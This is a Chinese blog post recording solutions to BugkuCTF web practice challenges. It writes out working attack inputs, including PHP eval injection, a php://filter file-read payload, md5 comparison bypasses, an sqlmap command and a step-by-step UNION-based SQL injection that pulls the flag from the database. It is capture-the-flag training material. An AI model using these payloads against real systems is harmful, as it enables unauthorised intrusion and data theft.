BugkuCTF练习记录(一)WEB篇

WEB2

F12 控制台  找到flag

计算器

输入结果发现只能输入一位  F12找到 input属性 修改maxlength的值

WEB 基础$_GET

查看代码 URL中输入?what=flag 

WEB 基础$_POST

查看代码 用Firefox 的 hackbar 插件 post what=flag 

矛盾

函数 is_numeric() 检测变量是否为数字或数字字符串

用科学计数法构造数字1 

或者使用%00截断 ?num=1%00

WEB3

打开后发现一直弹窗 直接查看源码 在最后一行发现unicode码 解码获得flag

域名解析

题目要求把 flag.bugku.com 解析到 120.24.86.145 

打开C:\WINDOWS\system32\drivers\etc\hosts

添加 flag.bugku.com  120.24.86.145   用浏览器打开flag.bugku.com获得flag

WEB5

查看网页源码发现 js代码  粘贴进F12控制台运行 获得flag

你必须让它停下

进入网页发现页面一直在刷新 结合题目名字 用bp抓包 Sent to Repeater之后go几次就发现了flag

头等舱

打开网页发现什么也没有 网页的隐藏属性  用bp抓包 go一下 就发现了flag

本地包含

方法(一)

分析代码发现 文件存在本地

构造playload      /index.php?hello=1);print_r(file("flag.php")  就相当于eval( "1);print_r(file("./flag.php%22")")

方法(二)

直接给hello赋值 index.php?hello=file_get_contents(%27flag.php%27) 按F12  获得flag

变量1

通过分析代码想到 本地文件包含 eval()函数构造playload 但是 由于 过滤了符号 所以无法构造出来 

于是想到使用$GLOBALS超全局变量 用数组方式查看flag1.php

playload   ?args=GLOBALS

web-4

查看源码 发现var1和var2 是url编码   解码后根据代码公式拼接 输入后获得flag

flag在index里

点击链接发现url变成了http://120.24.86.145:8005/post/index.php?file=show.php

想到利用php://filter漏洞读出index源代码

构造payload   http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

得到一段base64编码内容解码后获得flag

输入密码查看flag

 直接burpsuit暴力破解

备份是个好习惯

打开网页 发现一堆编码 试过所有解码方式均无效 先放一边 根据题目提示备份文件 *.bak *.swp是一般备份文件后缀名

试着找这两个文件  访问http://120.24.86.145:8002/web16/index.php.bak下载到备份文件

另外也可以用脚本扫描发现内部文件地址 https://git.coding.net/yihangwang/SourceLeakHacker.git 脚本源码

打开bak文件分析源码 ①str_replace函数 清空key字符 可以使用双写绕过 kekeyy

②熟悉的md5问题 方法1 利用数组绕过 kekeyy1[]=a& kekeyy2[]=b 方法二  kekeyy1=240610708&kekeyy2=QNKCDZO

学成成绩查询

 方法① sqlmap大法  :首先随便输入个数Submit 抓包 然后copy to file 以文本格式存在本地 

开始跑 sqlmap : python sqlmap.py -r"D:\123txt" -p id --current-db

tips :-p 指定参数 -r 加载一个文件 --current-db 获取当前数据库

然后按顺序依次爆破 数据库—>表名—>列名—>字段内容  顺利获得flag

方法② 手工注入 

随便输入一个数 发现有三个显示位 构造playload:?id=1' union select 1,2,3,4#

然后爆出数据库名 ?id=1' union select 1,2,3,database()#    数据库名  skctf_flag

?id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

得到表名字  fl4g  然后查fl4g表的列名:

?id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name ='fl4g'#

得到列名字是skctf_flag与数据库名字重复了 最后查询skctf_flag列中字段内容

?id=1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#   得到flag

 

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值